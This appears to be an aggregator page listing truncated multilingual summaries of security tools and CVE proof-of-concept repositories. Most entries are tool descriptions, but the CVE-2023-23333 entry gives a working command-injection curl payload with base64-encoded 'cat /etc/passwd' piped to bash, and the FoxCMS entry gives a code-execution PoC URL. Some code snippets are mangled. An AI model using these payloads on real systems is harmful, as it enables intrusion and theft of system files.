Royal-Event-Management-System-todate-SQL-Injection-Authenticated

Sistema de Gestión de Eventos Royal - Inyección SQL en 'todate' Autenticado 1. Descripción: Royal Event Management System 1.0 permite Inyección SQL a través del parámetro 'todate' en /royalevent/btndatesreport.php?= Explotar este problema podría permitir a un atacante comprometer la aplicación,...

CVE-2017-5123

CVE-2017-5123 漏洞概述 Linux 内核中的 Waitid 系统调用未验证所使用的目标地址。此缺陷可允许拥有本地权限的用户写入内核内存区域，可能导致设备上的权限提升或沙箱逃逸。 漏洞描述 漏洞分类 权限提升 沙箱逃逸（Chrome） 漏洞代码 kernel/exit.c root@kitploit: SYSCALLDEFINE5waitid, int, which, pidt, upid, struct siginfo user , infop, int, options, struct rusage user , ru struct rusage r; struct...

CVE-2020-17519

CVE-2020-17519 CVE-2020-17519 Cheetah语言版，支持批量扫描。 将ip.txt复制到/script/漏洞探测/Apache/文件夹下，打开Wker主程序...

QLinspector

QLinspector Encontrando cadenas gadget de Java/C con CodeQL. Más información en nuestro artículo Instalación Clona el repositorio root@kitploit: $ git clone https://github.com/synacktiv/QLinspector.git Buscar gadgets: root@kitploit: $ codeql database analyze log4j --format=sarif-latest...

jebmcp

Un servidor y plugin MCP rápido y sin pulir para JEB Pro. Probado en Cline, Cursor y RooCode. Referencia: https://github.com/mrexodia/ida-pro-mcp Instalación Requisitos root@kitploit: Python = 3.11 uv: https://docs.astral.sh/uv/getting-started/installation/ Uso Copia el archivo src/jebmcp/MCP.py ...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 针对 CVE-2023-4596 的 PoC 脚本，一个高效的 Python 工具，用于通过任意文件上传执行未经身份验证的远程命令执行。 资源 安装 使用方法 免责声明 安装 root@kitploit: git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version && cd CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version pip install -r...

CVE-2025-29306

CVE-2025-29306 FOXCMS黔狐内容管理系统服务参数注入漏洞 一、漏洞简介 FoxCMS是一套可免费商用且开源的网站管理系统,采用PHP+MySQL架构。 FOXCMS黔狐内容管理系统存在服务参数注入漏洞，攻击者可利用该漏洞获取服务器控制权。 二、漏洞影响 FOXCMS黔狐内容管理系统 V1.2 三、复现过程 POC http://xx/images/index.html?id=%24%40printphpinfo 输入Poc访问漏洞页面 发现phpinfo命令执行后的信息...

whalescan

Whalescan Vulnerability scanner for windows containers. Getting Started root@kitploit: git clone https://github.com/saira-h/whalescan pip install -r requirements.txt python main.py Overview Whalescan performs several benchmark checks, as well as checking for CVEs. This tool can be used as part of...

DonkAI

Hands-on lab for the OWASP Top 10 for LLM Applications 2025 - no real LLM required. DonkAI is deliberately vulnerable web app you can run in one command and use to learn how LLM-integrated systems get broken by actually breaking them. Every OWASP LLM Top 10 category is represented by at least one...

whatsapp-rce-patched

Este repositorio no tiene un README...

CVEs

Este repositorio no tiene un README...

badecparams

BADECPARAMS Prueba de concepto para CVE-2020-0601. badecparams.py genera una autoridad de certificación intermedia que explota la vulnerabilidad y luego emite certificados Authenticode y TLS Los certificados TLS tienen Validación Extendida en Microsoft Edge e Internet Explorer. httpd.py sirve el...

webmin_CVE-2019-15107

webminCVE-2019-15107 webminCVE-2019-15107...

CVE-2023-4166

CVE-2023-4166 fofa：通达 OA python3 CVE-2023-4165.py -h python3 CVE-2023-4165.py -u 单个url目标文件 python3 CVE-2023-4165.py -f url.txt 然后验证地址即可...

CVE-2023-23333

摘要： SolarView Compact 至版本 6.00 存在命令注入漏洞，攻击者可通过 downloader.php 绕过内部限制执行命令。 供应商： SolarView Compact 受影响产品： SolarView Compact 版本： SolarView Compact =ver 6.00 poc： curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep root:.:0:0 详情： 通过访问...

sigmalite

github.com/runreveal/sigmalite Package sigmalite provides a parser and an execution engine for the Sigma detection format. root@kitploit: rule, err := sigmalite.ParseRulebyte title: My example rule detection: keywords: - foo - bar selection: EventId: 1234 condition: keywords and selection if err ...

distro

Repositorio de la distribución REMnux Este repositorio contiene archivos complementarios para la distribución REMnux y los archivos fuente de los paquetes Debian que la distribución instala desde el repositorio de paquetes de REMnux en Launchpad. Estructura del repositorio files/ Archivos...

subjs

subjs subjs 从 URL 列表或子域名中获取 JavaScript 文件。分析 JavaScript 文件可以帮助你找到未公开的端点、秘密等。 建议将其与 gau 配合使用，然后再与 LinkFinder 配合使用。 资源 用法 安装 用法： 示例： root@kitploit: $ cat urls.txt | subjs $ subjs -i urls.txt $ cat hosts.txt | gau | subjs 要显示工具的帮助信息，请使用 -h 标志： root@kitploit: $ subjs -h 标志| 描述| 示例 ---|---|--- -c|...

subjs

subjs subjs fetches javascript files from a list of URLS or subdomains. Analyzing javascript files can help you find undocumented endpoints, secrets, and more. It's recommended to pair this with gau and then https://github.com/GerbenJavado/LinkFinder Resources Usage Installation Usage: Examples:...

exrex

EXREX 正则表达式的非正则方法。 Exrex 是一个命令行工具和 Python 模块，能够生成给定正则表达式的所有或随机匹配字符串，以及更多功能。 它纯 Python 实现，无外部依赖。 有些正则表达式具有无限匹配字符串（例如：a-z+），在这种情况下，exrex 会限制无限部分的最大长度。 Exrex 使用生成器，因此内存使用量不依赖于匹配字符串的数量。 功能 生成所有匹配字符串 生成随机匹配字符串 计算匹配字符串的数量 简化正则表达式 安装 要安装 exrex，只需： root@kitploit: $ pip install exrex 或 root@kitploit: $...